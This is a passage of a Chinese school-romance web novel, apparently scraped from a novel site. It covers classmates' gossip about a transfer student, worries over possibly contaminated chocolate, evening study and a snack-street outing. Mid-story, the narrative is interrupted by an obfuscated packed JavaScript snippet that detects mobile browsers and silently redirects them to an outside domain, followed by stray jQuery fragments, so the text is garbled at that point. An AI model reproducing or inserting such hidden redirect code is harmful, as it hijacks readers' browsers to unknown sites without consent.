“我报警了。” 吴瑞奇作势拿手机。 俞杨扭头瞪他一眼，目光里充满“你是不是有什么大病？”的谴责，然后压低声音，对柯译衍说：“宁王也在这里吃饭！” 柯译衍漫不经心侧目，朝俞杨手指方向瞥了眼，凑巧瞄见姜织宁和身边男生亲近说笑着。 他冷淡视线挪到男生脸上，停留两秒后，不带任何情绪地收回来。 同桌两男生也好奇跟着看过去。 发现姜织宁身影后，吴瑞奇顿时瞪大眼，不自觉高声道：“等会儿，那是姜织宁吗？我钛合金狗眼没看错吧？？？” 俞杨：“哎，你小点声啊！” 吴瑞奇“啧！”一声：“干嘛，我又不做贼心虚。” “什么做贼心虚，是让你别大呼小叫，打扰人家吃饭。”俞杨狂翻白眼，“做人有点素质行吗？你可是江中的学生，在外别掉身份好吗！” “嗨呀，你咋这么贴心呢？” “废话，这我女神好吧！” “......” 事实上，姜织宁不是在和蔡从说笑，她是被气笑的。 饭吃到一半时，蔡从突然往疯人联盟群里丢了条新闻链接，特意@姜织宁，让她仔细阅读。 他发的是一则，多家黑巧品牌被检查出重金属超标的外国报道。 姜织宁最开始并没有意识到问题的严重性，边吃饭边看文章，一目十行的速度，看到后面，发觉不对劲，放下筷子，逐字逐句阅读起来。 看完报道后，她慢吞吞扭头，用一副“你是不是皮痒到想挨骂”的表情看着蔡从，平静问他什么意思。 蔡从：“意思是，让你这个巧克力脑袋注意下，那新闻里不是说了么，种植可可豆的土壤受到污染。” “那你下午还给我送巧克力？？？”姜织宁不可置信反问。 蔡从云淡风轻地说：“哦，那个牌子没问题，没在黑榜上。” “不在黑榜就代表没问题？还是说，机构没测这个品牌？”她严谨地问。 蔡从被问到了，想了想，淡定回答：“不急，回头我帮你查下。” 姜织宁面无表情。 “我已经吃了。” “好几块。” “结果你说有毒。” “等你猴年马月查到，我已经毒发身亡。” “记得来坟前告诉我结果。” 这就......说得有点夸张了吧...... 蔡从看着姜织宁，沉默好几秒，最后语气不太确定地说：“应该不会......毒发身亡吧？” 他之所以不太确定，是因为知道姜织宁上半年动过手术，身体免疫系统不如之前那么强。 这就好比同样是坏掉的食物，年轻力壮的人吃了后，可能是上吐下泻急性肠胃炎，如果换成有基础疾病的老头老太，那是真的会进ICU。 姜织宁被气笑，目光森森盯着他。 “你这个损友。” “毒死我算了。” “走夜路小心点。” “早晚把你带走。” 蔡从：“......” 周静瑶一边吃饭，一边悠哉旁听整个过程，她笑得要死：“蔡总啊蔡总，我看你是一天不找骂，就浑身不舒服吧？” 蔡从无奈摇头叹气。 另一边，俞杨暗中打量着蔡从。 他忽然想起来，下午他问周静瑶儿子爹是谁，周静瑶不小心说漏嘴，回他菜狗二字。 蔡总，菜狗...... 脑子灵光一闪。 等会儿，该不会名为菜狗的儿子爹，就是现在同姜织宁说笑的这位帅哥吧？？？ 作为姜织宁粉丝，俞杨多少知道点女神的小道消息。 毕竟姜织宁是大名鼎鼎的校花，有很多人追，私下还会时不时冒出一些单方面故意搞暧昧，嘴边常挂—— “姜织宁啊，我们关系很好的。” “我和她不要太熟，上周还一起放学回家。” “经常和她一起吃饭做作业，没事就会约着出去玩。” “没错，她是有喜欢的人，大概率是我，千万别说出去啊。” 这类满嘴胡话，故意散布谣言绯闻，毁人名声，干啥啥不行，喜欢往脸上贴金第一名的脑残意淫普信男。 所有真真假假的绯闻男友传闻中，可信度最高的，应该是姜织宁有个从小一起长大，还订过娃娃亲的青梅竹马。 那男生是富二代，长挺帅，和姜织宁一个班，两人感情很好，在学校里经常看到这两位走一起。 俞杨一时想不起青梅竹马的全名，只记得姓蔡，周静瑶是姜织宁闺蜜，所以她说的话可信度最高，这么推理下来，儿子爹菜狗和蔡总肯定是同一个人！ 况且，俞杨确实碰见过姜织宁和蔡总一起吃饭、上下学，对他眼熟的。 所以—— 真相就在眼前！！！ 名侦探-俞-柯南抬起手，虚空推了推脸上不存在的眼镜，唇角扬起无比自信的装逼弧度。 不过奇怪了，他家衍神和这位青梅竹马长得完全不像啊，两人外貌气质根本不是同一类型。 实话实说，如果和普通男生比起来，青梅竹马确实长得帅，但和柯译衍比的话，那绝对落下风。 他家衍神才是最顶的大帅哥！ 俞杨纳闷心想，唉，姜织宁怎么会走神嘴瓢呢？ 一桌菜都快要吃完了，俞杨还在那边探头探脑做贼。 “吃你的饭。” 柯译衍看不下去，抬手按住俞杨肩膀，将人用力摁回来。 俞杨不耐烦“啧！”一声：“吃什么饭，干巴巴的饭有什么好吃的，不正在吃瓜吗？瓜多香多甜啊！干什么啊你，别阻碍我吃瓜！” 柯译衍面无表情：“嘴上叫别人不要大呼小叫，你暗中偷窥就很有礼貌？” 俞杨愣住。 呃，好有道理。 “好，对不起。”他敷衍道歉，转而和柯译衍分享起他的推理大作，“你看，坐宁王旁边那个帅哥啊，就是周静瑶下午不小心说漏嘴的儿子爹菜狗。” 这句话说得太绕太长，柯译衍足足花了好几秒，才反应过来其中的人物关系。 俞杨接着讲：“我和你说，那帅哥就是传闻中宁王的青梅竹马，两人之前一个班！哎呀，听说从小一起长大呢，家里父母都很熟！” “你看宁王和他说笑时的模样，状态确实放松啊，一看就知道两人关系很不错，宁王在我们面前，那态度就比较客气了，不过，会不会是因为她刚转来的原因？” 柯译衍没搭腔，看都懒得看一眼。 俞杨又讲：“我还听说，这两位订过娃娃亲哎！那他不就是宁王名义上的未婚夫？？？好家伙，大清已经亡了，这年头娃娃亲还算数吗？” “是家长口头上说说的，还是板上钉钉？嘶，但也说不准啊，从小到大都在一个圈子里玩，这没感情的，也容易相处成有感情吧？” 柯译衍沉默吃饭，完全不想回应。 俞杨：“等会儿啊，突然想起来，下午那巧克力是未婚夫送来的，虽然巧克力没有印着喜，但宁王转来的第一天，未婚夫就光明正大往我们这儿送东西，这意思，是不是在宣誓主权啊？虽然和宁王不在一个班，但也不准别人插足肖想他的未婚妻？？？” 柯译衍冷脸放下筷子，内心相当无语。 “我靠，那不就是喜糖吗！原来我女神真的名花有主了......唉，看来还是青梅竹马香啊，早早占位，你说是不？” 俞杨一边说，一边抬起手挂到柯译衍肩膀上。 真的服了。 柯译衍压着脾气，不耐烦将肩上那只手甩下去，能冻死人的冷眼盯着俞杨：“你和我说这些没用的干什么？” 俞杨表示很震惊：“啊？你对你的新同桌不感兴趣吗？？？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888697|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎哟，我说你！你能下凡看一看人家不？！” 话音落下，俞杨立马意识到不对。 啊呸呸呸！ 还是别感兴趣了，千万别感兴趣！ 最好离远一点，保持纯洁美好的同学情就行。 真不是他想太多，拜托，那姜织宁可是AllKill，童年滤镜拉满的真女神哎！ 而他兄弟柯译衍，虽然长了张招蜂引蝶、张扬夺目的冷酷渣男脸，实则内里就是个洁身自好，纯到不能再纯的真纯情帅逼！ 从小到大，明里暗里，追求柯译衍的女生们源源不断排成长队，可他从未对谁动过心，一门心思全花在学习和网球上，不要太自律。 谈恋爱？ 绝对不可能。 曾经搞得俞杨一度怀疑，柯译衍性取向是不是有问题。 他女神姜织宁又不是一般女生咯，魅力这么大，万一柯译衍真陷进去了，这不就是狗血三角恋，死路一条吗！ 所以真的别感兴趣！ 千！万！别！ 毕竟在姜织宁眼里，柯译衍就是她青梅竹马的菀菀类卿，两人要是真纠缠上了，想都不用想，最后受伤的肯定是柯译衍啊！ 靠！ 这都是什么破事，怜爱了，他家衍神居然会被当成替身？！ 简直不能忍...... 好惨一男的...... 想到这里，俞杨火速收敛起不正经的表情，眼神变得微妙起来，眼角还带了点不知道怎么挤出来的虚伪鳄鱼泪光，同情且心疼地看着柯译衍。 好像在看一位时日不多的绝症患者。 柯译衍：“......” 柯译衍无语别开眼，对俞杨脑子里上演的生死虐恋苦情戏完全不感兴趣，他都不屑开口问一嘴。 因为知道这智障从小就这样，想象力格外丰富，戏精一名，那脑子里的戏，比视频网站影片库加起来的总和还要多。 不同于柯译衍冷静稳定的内核，正因为想太多，所以从小到大，俞杨每次参加大型网球赛事就容易心态不稳定，时不时内心崩盘。 比赛时，心态不稳是大忌，尤其网球这种高强度对抗性竞技运动。 一场比赛，短则一个小时结束，长则四五个小时才能分出胜负，越比到后面，越考验选手的心态和意志力。 “那个，衍神啊......”俞杨小心翼翼开口，“刚才的话，你就当我——” 话还没说完，就发现柯译衍的目光越过他，微微向右边偏移。 他立马敏感嚷嚷起来，抬手挡住柯译衍视线，严肃脸警告：“干什么啊你！” “别看！你别往那边看啊！” “收起你的小心思！” “都是与你无关的人！” 然后像防贼一样，快速把绿萝挪回原位，这片叶子扶一扶，那片叶子压一压，煞费苦心，为了彻底隔绝两边之间的视线通道。 俞杨一边弄绿箩，一边嘴上嘀嘀咕咕不停，叫柯译衍好好吃饭，别他妈到处乱看。 柯译衍对俞杨的反复无常感到很费解。 这人是不是真有什么大病？ 不行就上医院治一治，看看是不是鬼上身。 “俞杨。”柯译衍冷声说，“除了职业网球选手，还有一条路更适合你，要不要考虑下？” “什么啊？” “转行去学表演吧，想象力这么丰富。”柯译衍嘲讽道，“资深戏精最适合你，影帝非你莫属，以后男一号不是你的剧我都不看。” 俞杨琢磨了下，认真说：“这不好吧？我要是转行学表演，我妈大概率会打断我的腿，虽然你的建议让我很心动。” 柯译衍：“......” 俞杨本来想叮嘱柯译衍—— 刚才感不感兴趣、下凡看一眼那话，就当是俞老师一时犯糊涂，放屁乱讲，千万别放心上，否则会出大事的！ 既然柯译衍主动说起别的话题，那最好不过，俞杨立马笑眯眯问他：“衍神，晚上打球去不？” “说了不去。” “不是，你去帮我看看啊，我那网前截击......” 柯译衍冷淡瞥他一眼：“不会自己找教练看？” 哎，不是，酷哥怎么就突然拉脸生气了？ 他又没做错什么！ 俞杨心中纳闷，同时不死心扭成麻花状，耍赖皮，魔音绕耳道：“衍神，你帮我看看嘛，看看嘛，看看嘛，看看嘛......” 柯译衍：“把嘴闭上，别让我说第二次。” 俞杨：“......” 靠！凶他！ 好没良心一男的！ 13-20 第13章 她总是偷看他 晚自习是不上课的, 时间全留给学生自行做作业、预习复习、各种竞赛训练，以及和老师预约好的单独辅导。 晚自习之前，各学科课代表已经在黑板写下老师布置的作业。 为了提醒大家按时完成作业, 课代表们很努力的发挥创意，在各自地盘上各显神通, 花式美化作业任务。 有人画上恐吓、卖萌表情包，有人引用各种热门段子, 还有人很直接写着——没完成作业的同学，必需V课代表五十大洋。 夜晚, 教学楼灯火通明, 轮值老师坐在讲台上专心备课, 教室气氛格外安静，只剩下刷刷书写的声音。 姜织宁整个黑板来回看了两遍, 发现没有英语作业，于是拿笔轻点了点柯译衍桌面, 低声问他：“英语没作业吗？” 柯译衍停下笔，眼尾轻瞥她一眼, 抬头看向黑板上密密麻麻的作业。 黑板上确实没写，是老师没布置还是其他什么原因, 他也有点忘了。 沉思数秒后, 柯译衍总算想起来, 扭头准备告诉姜织宁, 结果发现她眼眸一眨不眨，直勾勾地盯着他看, 视线里还带了几分探究的意思。 目光交汇, 她迅速收起打探之意，脸上浮起微笑, 友好地冲他眨了下眼。 柯译衍：“” 这变脸演技，简直炉火纯青啊。 看来他这座位是风水宝座无疑了，不然怎么前面坐着俞影帝，左边又是姜影后。 除了这个想法，对视的那一瞬间，柯译衍脑子里莫名其妙想起晚饭时，俞杨对他千叮咛万嘱咐的严肃警告—— 别看！你别往那边看啊！都是与你无关的人！ 宛如被催眠一样，柯译衍下意识挪开目光，避开对视。 姜织宁：“？” 干嘛，她脸上有脏东西啊？ 下一秒，理智回归，柯译衍沉下脸，在心里骂了俞杨两句。 神经，他躲什么？ 柯译衍沉着脸，冷淡瞥了姜织宁一眼，嗓音没什么温度地说：“一张试卷。” 姜织宁哦了声：“那黑板上怎么没写？” “没有课代表。” “还没选出来吗？” “嗯。” “你有试卷吗？” “嗯。” “我怎么没有？” “你上午在？” “哦，那试卷去哪里拿？” “问班长。” “哦” 一段干巴巴，直接把天聊死的对话。 所有科目中，姜织宁做英语试卷最快最顺手，所以不着急，她打算下课后再去问班长。 她翻开数学练习册，动笔之前，随口问柯译衍：“俞杨不来上晚自习吗？” 那么多作业不着急做，还有闲心关心起别人。 “不上。”柯译衍将数学试卷翻到反面，面无表情回了嘴。 像俞杨这类体育生，基本都是白天在学校上课，晚上外出训练，有时候白天在学校里也见不到人影，因为他们要全国各地甚至跑去国外打比赛。 姜织宁：“还有这种好事，为什么？” 柯译衍惜字如金地说：“训练。” 姜织宁轻轻啊了声，感兴趣地问：“他练的什么项目啊？体育生？艺术生？我觉得俞杨应该是艺术生。” 柯译衍愣了下，反问：“艺术生？” 本来都不想继续搭腔了，这会儿硬是被姜织宁的话勾起了好奇心。 他主动侧目看向她，眼神带着一丝疑惑，淡声问：“怎么看出来的？” “就觉得他很适合学表演啊。”姜织宁竖起大拇指，十分真诚地夸奖，“你没发现吗？俞杨的面部表情和肢体语言都很丰富，比某些面瘫演员好多了。” 哦，原来是这样。 真难得，居然所见略同，他也觉得俞戏精很适合学表演，打什么网球，可惜了。 “嗯。”柯译衍忍住那点微弱笑意，克制且冷静地点了点头，“发现了。” “所以他真是艺术生？”姜织宁觉得自己看人还挺准。 “不是。” “啊？” “体育生。” “好吧，练的什么项目？” “网球。” “” 打脸哎，她居然看走眼了。 姜织宁有些惋惜地叹了口气，本来还觉得，俞杨在表演方面挺有天赋的。 她又好奇问：“原来是俞杨是打网球的，那他以后会转成职业选手吗？” “你还知道职业选手。”柯译衍一心二用，手上不紧不慢写着数学公式，略意外地扬了眉。 姜织宁不解反问：“我不能知道吗？” “能。” “那你怎么不去训练啊？” “我为什么要去？” “因为昨——” 姜织宁忽然闭嘴收声，猛然反应过来自己差点说漏嘴。 因为昨天在EQUA店里，有看到你拿着网球拍。 她及时把剩下的话咽回去，在心里这么想。 与此同时，柯译衍放下笔，将试卷翻回正面，做完了。 姜织宁目光跟着落在那张试卷上，情不自禁感叹，这人刷卷子这么快的吗？ 厉害。 “刚说什么？”柯译衍平静注视着姜织宁。 姜织宁想了想，再度对他露出任何场合都不会出错的友好微笑脸。 “啊，没什么，之前俞杨不是说你俩从小一起长大吗，我就以为你和他一样，也是打网球的体育生。” 说完，她又莫名其妙夸了嘴：“你写作业真快。” 下一秒，顾自低头解题去了。 柯译衍：“” * 晚自习第一节课下课。 之前帮蔡从送巧克力的男生，又吭哧吭哧跑来高二一班找姜织宁，这回是充当信使。 男生特意跑过来传话，说蔡总认真严谨地查过了，那个牌子的巧克力没问题的，原料产地不在土壤受污染的地方，让姜织宁放心吃。 姜织宁听完后，表情有几分疑惑：“是吗，那我怎么感觉有点头昏眼花？” “啊？”男生大惊，“不不会吧，什么时候啊？？？我心脏不好，宁王你别吓我哎！” 她回忆说：“就刚才吧，做数学题的时候，头昏眼花，做题速度特别慢，和开了慢速一样。” “这”男生犹豫了下，不确定地说，“宁王，你这个症状有点耳熟，会不会是因为学习时间太久，导致疲劳反应？我做不喜欢的英语试卷也会那样，一看到密密麻麻的单词，我就头昏眼花想睡觉。” “是这样吗？”姜织宁若有所思点了点头，“还以为被毒出幻觉了，我也没吃蘑菇啊。” 男生态度谨慎：“回去后我会和蔡总说的。” 姜织宁哦了声：“就为这事专门跑一趟？他给我发个微信就行。” “蔡总倒是想发，很不幸，上自习时他手机被没收了，这会儿正罚站办公室，挨师太批评呢。” “不会是为了查我这事吧？” 男生本来想说占一半原因，因为蔡从刚开始在打游戏，中途，他不经意瞥了眼窗外漆黑的夜色，才联想起姜织宁阴森森的警告。 出于不想再被姜织宁骂，以及一边相信科学，一边坚持对走夜路抱有敬畏的谨慎心理，蔡从理智退出游戏，打开网页认真搜索。 知道蔡从和姜织宁是青梅竹马，还有娃娃亲那层关系，所以男生想帮蔡从刷一波好感，便一脸严肃点头，胡扯道：“没错。” “”姜织宁无语住，“破天荒啊，蔡总这是怎么了？以前也没看他这么积极过，他可是骂都骂不醒的巅峰代表。” 男生咧嘴笑起来：“哎，这不是大晚上了吗，我们苦命高三牲放学晚啊，蔡总说了，他还是有点怕走夜路的。” 姜织宁愣了下，想起吃晚饭那会儿，她对蔡从“走夜路小心点”的言语威胁，从而联想起，蔡从出生以来自带的出厂bug。 那就是—— 他怕鬼。 蔡从怕鬼，所以从小到大，他不敢看任何惊悚灵异片，唯一看的一部，也是从头到尾躲在姜织宁背后，时不时吓得嗷嗷大叫。 当时，姜织宁觉得比起鬼片本身，反而蔡从的惨叫更让她觉得瘆人 上课铃声响起，喧闹的走廊回归安静，众人各回各班。 姜织宁本来都把这件事给忘了，男生特意过来这么一提，她犹豫了下，扭头看向柯译衍，小心翼翼问：“你有没有哪里不舒服？” 柯译衍缓缓扭头：“？” “指身体上。” 柯译衍：“？” “就那个巧克力啊”姜织宁轻咳了声，“吃完到现在，你有没有觉得哪里不舒服？” 柯译衍注视着姜织宁表情不自然的模样，陷入沉默。 看来大事不妙啊。 他双臂环到胸前，整个人低气压后靠向椅背，漆黑眼眸沉冷下来，偏头盯着她，语气冷淡地说：“没有。” “哦，那就好。”姜织宁点点头，放心了。 正准备动笔继续写作业，结果听见旁边传来一道毫无温度的冰冷嗓音：“不过现在听你一说，有了。” 姜织宁：“” 气氛瞬间凝固，快要结成冰。 不是 大哥，你说话能不能一次性讲完啊，你这样分上下句，很搞人心态的好吗 姜织宁无奈叹了口气，问他：“那你哪里不舒服？” 柯译衍反问：“你先说怎么了，过期了？” “那倒没有，我不可能这么缺德。” 姜织宁往讲台方向瞄了眼，尽管老师不在，但她还是没胆子拿出手机，只能用口述的方式，把蔡从发她的那条新闻报道和柯译衍说了一遍。 她尽可能详细地科普前因后果，讲完后，怕柯译衍不放心，特意淡定从容地补了句：“没事啊，别担心，就算有问题，我也吃的比你多。” 柯译衍：“” 很不可思议，她怎么想的，这是多不多的问题吗？ 哪怕他只吃了一块，不也还是吃了？ 柯译衍都被姜织宁说无语住了，无言几秒后，嗤笑出声：“你的意思是，就算有问题，我的中毒症状也比你轻？” 姜织宁：“这么理解也可以，但别当真，刚才就是打个比方，反正你别怕，要死我先死。” 死不死都出来了。 怎么，他要为后死而感到幸运吗？ “不会需要我说声谢谢吧？”柯译衍面无表情地说。 姜织宁有些诧异，连忙摆手表示：“不用不用，这就见外了啊，都是同班同学，不用这么客气的。” 柯译衍：“” 内心无奈叹了口气，对她的冷幽默感到无话可说。 这才相处不到一天，这位新同桌就有点出乎他意料。 鼎鼎有名的江中校花，童星出身的姜织宁，有传闻说她高高在上、脾气差劲、很不好相处。 柯译衍暂时没发现这几点。 相反，说的好听点，他倒是觉得，姜织宁身上有一股不知道是不是应该称之为反差萌的特质。 但是，这些都不重要。 重要的是，她一个有青梅竹马的人，动不动就盯着他看是什么意思？ 很多时候，姜织宁是用余光偷偷打量他，柯译衍早就察觉到了，不过他始终没理会。 令人费解。 总是偷看他，不知道她想干什么。 第14章 仙女在说什么鬼东西？ 铃声一响, 晚自习放学。 周静瑶拿起书包，大声招呼：“宁王，吃夜宵去啊！” “来了。” 姜织宁利索站起来, 把没做完的试卷练习册有序放进书包里。 两人走到班门外，于佳和另外两个女生已经等在门口了。 其中一位戴眼镜, 叫梦琦的女生看到姜织宁也来了，不由惊讶睁大眼, 下意识偏头对身边人说：“咦，姜织宁也要和我们一起吗？” “呃我也不知道。” 女生嗓音很轻, 但大家都站在一起, 姜织宁自然能听见她说话, 目光随之看过去。 目光对视上，梦琦脸上滞了秒, 连忙摆手解释：“啊那个千万别误会，我不是不是不欢迎的意思, 就是我们是去学校后门美食街买小吃。” 姜织宁眨了下眼。 “就那种很普通的路边摊，小吃店什么的” 梦琦支支吾吾, 声音越说越弱。 周静瑶看不下去了，好心帮女生把话说完：“她就是在好奇, 住在天上的漂亮仙女, 居然也会去接地气的美食街买小吃？” 姜织宁听懂了, 眉眼弯弯笑起来, 幽默语气中带着一丝无奈，说：“会吧, 毕竟仙女也嘴馋啊, 不仅会下凡吃路边摊，还要天天上厕所呢。” 说完, 她还表情无辜地补了句，“啊，突然想起来，上周仙女还因为某位损友很欠骂，导致身体上火长痘痘。” 姜织宁扭头，非常自然地问周静瑶：“帮我看下，我额头上的那颗大痘消了吗？” 周静瑶敷衍摆手：“哎哟，消了消了，不消你也是仙女。” 于佳直接没忍住，噗嗤一声，放声大笑。 周静瑶老神在在，脸色很淡定，因为知道姜织宁是什么底色的人，早就习以为常了。 她这闺蜜，容貌格外优越，身上又自带童星标签，不熟悉她的人可能会听风就是雨，觉得她高高在上，很不好相处。 其实事实相反，姜织宁从来不会装腔摆架子，对朋友真诚坦率，很讲义气，只是性格慢热而已。 于佳和姜织宁之间好歹有个共同朋友，所以通过朋友之口，于佳多少清楚点姜织宁的为人。 朋友曾经不止一次对她提过，说姜织宁反差萌，和第一眼印象完全不一样，有时本人讲话特别幽默，特别逗。 至于剩下那两女生，被姜织宁的话弄得面面相觑，整个人一副“仙女在说什么鬼东西？”的大惊吓表情 江中后门的美食一条街在江洲本地是比较出名的。 江中有好几个校区，姜织宁所在校区是历史最悠久的本部，一百多年以来，校址经过几次搬迁后，最终落在人气旺盛的主城区。 马路对面不远处就是附中本部，四周是居民区、商业写字楼群，附近人流量相当高。 长长的美食街密布各类大小商铺，每到傍晚，特意推车过来营业的流动小摊贩更是多到数不清，烟火气十足。 几名女生一路有说有笑走向美食街。 于佳一定要请姜织宁喝最贵的奶茶，但姜织宁看过菜单后，显然对新推出的暴打柠檬桂花乌龙茶更感兴趣，她喜欢和桂花有关的一切。 桂花乌龙茶价格要便宜很多，于佳脸色犹豫，反复同姜织宁确认好几次，才去排队点单。 出校门了，于佳才敢把娱乐杂志拿出来反复欣赏。 姜织宁瞥了眼杂志封面，顺势问：“你喜欢韩辰？” 于佳立马点头，露出迷妹星星眼：“是啊，他真的好帅哦！韩辰不是在对面附中上学嘛，之前我偶遇过他一次，哇，他本人阳光开朗，特别礼貌谦逊！” 阳光开朗？礼貌谦逊？ 姜织宁露出困惑的眼神。 在她印象中，这人……难道不是自恋又臭屁吗？ 而且没记错的话，他好像还挺玻璃心。 当时在办公室看到杂志封面的那一刻，虽然没到惊掉下巴的程度，但确实给姜织宁看愣了，她还以为那人是韩辰的双胞胎兄弟。 面对少女的迷妹星星眼，姜织宁欲言又止，最后礼貌克制地点了点头，什么也没说。 几个女生分头行动，等奶茶的时候，周静瑶捧着热气腾腾的烤冷面跑到姜织宁身边，把签子递给她，“我去，排队排死我了！快尝一口，她家烤冷面超级超级好吃！” 姜织宁尝了下，眼睛亮起来：“真的好吃哎，特别是酱料部分。” “是吧，难怪大众点评高星。”周静瑶笑起来，抬手指了个方向，“边上还新开了家面包烘培坊，我刚才试吃了南瓜芋泥欧包，味道还不错，要不要去看看？” “好啊。” 两人和于佳打了声招呼，往面包坊走去。 南瓜芋泥欧包、蒜香法棍、黄油炼乳面包片、蓝莓奶油蛋糕、肉桂卷 这个想吃，那个看着也不错，姜织宁店内一圈走下来，手中托盘已经是放满的状态。 于佳和另外两名女生提着饮料赶来面包店，坐到店门口的空桌等待。 姜织宁结完账，左手拎着满满一纸袋面包，右手端着装蓝莓奶油蛋糕的托盘，稳步走到座位上。 “买了这么多面包啊。” 于佳看了眼鼓鼓囊囊的纸袋，将暴打柠檬桂花乌龙茶放到姜织宁面前，惊讶问。 姜织宁就着吸管喝了口饮料，认真说：“嗯，很饿。” 自从遭遇祸从天降之后，姜织宁记忆力大不如前，有时还反应会慢半拍，除此之外，最大的变化就是胃口变大，很容易饿。 她以前从来没有吃夜宵的习惯，对零食也没什么兴趣，一天三餐按时吃饭，日常饭量曾被家人戏称像是在饲养猫咪，意思姜织宁吃的太少了。 不过令人奇怪的是，虽然她现在胃口大涨，但体重上却没怎么增加，也不知道营养吸收到哪里去了。 玻璃门阻隔外头闷热空气，店里冷气十足，惬意舒爽，女生们一边喝冰饮，一边用勺子挖着姜织宁买的蓝莓奶油蛋糕。 “你这个好喝不？” “好喝，很清爽，桂花味挺浓的，比起中药简直是仙品。” “这家烤冷面真的绝了，想打包一份带回去给我姐尝尝。” “蓝莓蛋糕也好吃哎，就爱这种不太甜的！” “要不要尝尝芝士脆？我觉得还可以。” “好呀好呀！” 女生们闲聊时，不远处的烧烤摊突然传来几道高声争论。 “又来了，附中人又跑这儿来吹牛了。” “喂，那边那个江中健胃消食片！你在说什么啊？什么吹牛，我在讲事实，我们附中本来就不是千年老二好吧！” “哦哟哦哟～以为这回物理竞赛冒出头，你们附中就想翻身农奴把歌唱啦？请问贵校打算什么时候出个高考状元啊？” “就盯着高考状元看？瞧你们江中那点格局，一辈子上不了台面！” “再怎么酸，千年老二就是千年老二，入不了我们江中法眼的，啧啧啧，小朋友赶紧回幼儿园玩泥巴去～～” 周静瑶正好面朝烧烤摊方向，她听到声音，下意识伸长脖子，歪头看过去，眯眼辨认几秒后，向在座各位分享起情报。 “是七班的人，有两个是辩论队的，附中那边也是辩论队的。” “你还认识附中辩论队的人？”姜织宁回复着姑姑发来的信息，抽空问了嘴。 周静瑶：“去年附中辩论队来江中打友谊赛，我们摄影社过去拍照了。” 于佳笑着说：“都是辩论队的，那要打嘴仗了。” “你们赌谁赢？” “这还用问吗，当然是我们江中辩论队啊！” “附中那群嘴巴也很厉害。” 江中和附中两所学校距离挨的很近，所以附中的学生经常成群结队来美食街吃东西，像今天这样，两校学生互打嘴仗的情况并不是第一次出现。 甚至大部分人都已经习以为常了。 作为江洲市排名前二的两所老牌重高，别看表面尊称对方一声隔壁友校，一副你好我好大家好的岁月静好状态，其实私底下都是竞争关系，经常暗自较劲，硝烟不断。 附中整体实力稍逊色于江中，由于这几年附中的竞赛成绩、C9藤校录取率有了一定起色，某些板块颇有赶超江中的势头，便开始不服气千年老二的外号。 在外头，总是听见江中嘲笑附中千年老二，附中人不甘示弱，反讽江中学生胃不好，需要天天吃健胃消食片。 不仅在校生经常互相打嘴仗，就连部分毕业生，一看到网上发起两校背景地位之争的帖子，也会上阵踩一脚隔壁友校，互斥对方是花钱请的网络水军。 姜织宁曾经旁观过一场两校辩论队打友谊赛，也不是什么高上大的辩题，而是口才思维特别牛，但是压根不会做饭的一群学生，搁台上面红耳赤，舌战群儒，激情辩论—— 西红柿炒蛋到底要不要放糖 辩题很接地气，但两队谁也不服输，都想碾压死对方的强势气场让人不明觉厉，很想竖起大拇指称赞 烧烤摊上的母校荣誉地位之争，从刚过去的高考成绩，一路辩论到竞赛成绩，再到历史状元人数，然后到明星校友哪几位，咖位如何，以及不久前的高一期末联考成绩。 最后不知道怎么回事，嘴仗突然落到了个人头上。 七班为首的那位女生说：“唉呀，你们附中这次期末联考成绩是蛮愁人的，话说，知道我们江中的双A组吗？被称为All Kill的衍神知道吗？” 附中男生冷哼：“知道他干什么？” 七班女生：“不干什么，就是好心告诉你，这位衍神的成绩大部分时间是吊打姚飞的，你们附中的年级第一，每次都考不过姚神，这下惨了哦，以后不又多了位喜马拉雅山一样高的恐怖竞争对手吗？” 附中男生阴阳怪气回道：“呵呵，既然你家衍神成绩这么好，那这回期末联考登顶的也不是他啊，全市排名前一百，怎么没看见他的大名呢？不会是翻车了吧？” 女生大翻白眼，反斥：“那是因为人家缺考一门好吗，你去看看他的单科分数啊！” 津津有味吃瓜的周静瑶被女生的话震住了。 她惊掉下巴，足足震惊好一会儿，才表情严肃且敬佩地对姜织宁说：“牛啊，咱们学校辩论队这么狠的吗，不要命起来，连自己人都攻击？” 于佳感叹附和：“战斗力真的太强了。” 姜织宁笑而不语，但很快，她就笑不出来了。 因为外面女生紧接着，大言不惭地说：“你刚才说你们学校有明星韩辰是吧，那我们大江中也有童星姜织宁啊！人家可是All Kill宁王，高贵冷艳超级大美女，我校校花，牛逼双A组之一，学习成绩优异，未来家喻户晓，演技大奖拿到手软的国际大明星” “咳咳咳” 姜织宁放下饮料，捂嘴猛咳起来。 于佳连忙递纸巾。 女生这是给她buff叠满了啊！ 不是，未来家喻户晓，演技大奖拿到手软的国际大明星是什么东西啊？？？ 她怎么不知道 就离谱。 桌上四双眼睛，一致默契盯着话题中心人物。 周静瑶率先笑眯眯开口：“国际大明星，有人买股你哎，你未来最大的粉头来了。” 姜织宁猛拍胸脯，总算缓过气。 她镇定自若地说：“我最大的粉头不是你吗？毕竟你朋友圈里一半以上的照片都是我。” “不不不，”周静瑶一脸谦虚，摆手说，“这么一对比，突然发现自己不够格，我愿将此美称拱手相让。” 话音落下，女生们纷纷捂嘴笑起来。 周静瑶：“说真的，对此你有什么想法啊？” 姜织宁背对着玻璃门坐，原本听见女生突然提起自己的名字，还想好奇转身看一眼什么情况，但后面越说越离谱的架势让她不敢转身了。 再怎么人淡如菊，也是怕社死的。 姜织宁果断起身，面无表情地说：“我的想法是，现在就走，尽快离开是非之地。” 第15章 你们双A组相认没？ 黄澄澄的月亮高悬半空, 树影婆娑，沿路两旁桂香弥漫，已经是夏末了, 蝉鸣渐微。 清冷月光照耀着回家的路，身边时不时呼啸而过骑自行车回家的学生, 周静瑶脚步慢悠悠，陪姜织宁走回家。 刚才做贼一样走得着急, 这会儿耳边清净，姜织宁回想起一事, 茫然追问：“双A组是什么东西？” “你和你同桌。” “啊？我和柯译衍？” “是啊。” 周静瑶也是刚才问了于佳后, 才得知双A组什么意思。 姜织宁困惑说：“所以是什么神秘组织？不会要我交入会费吧？不会同意的。” 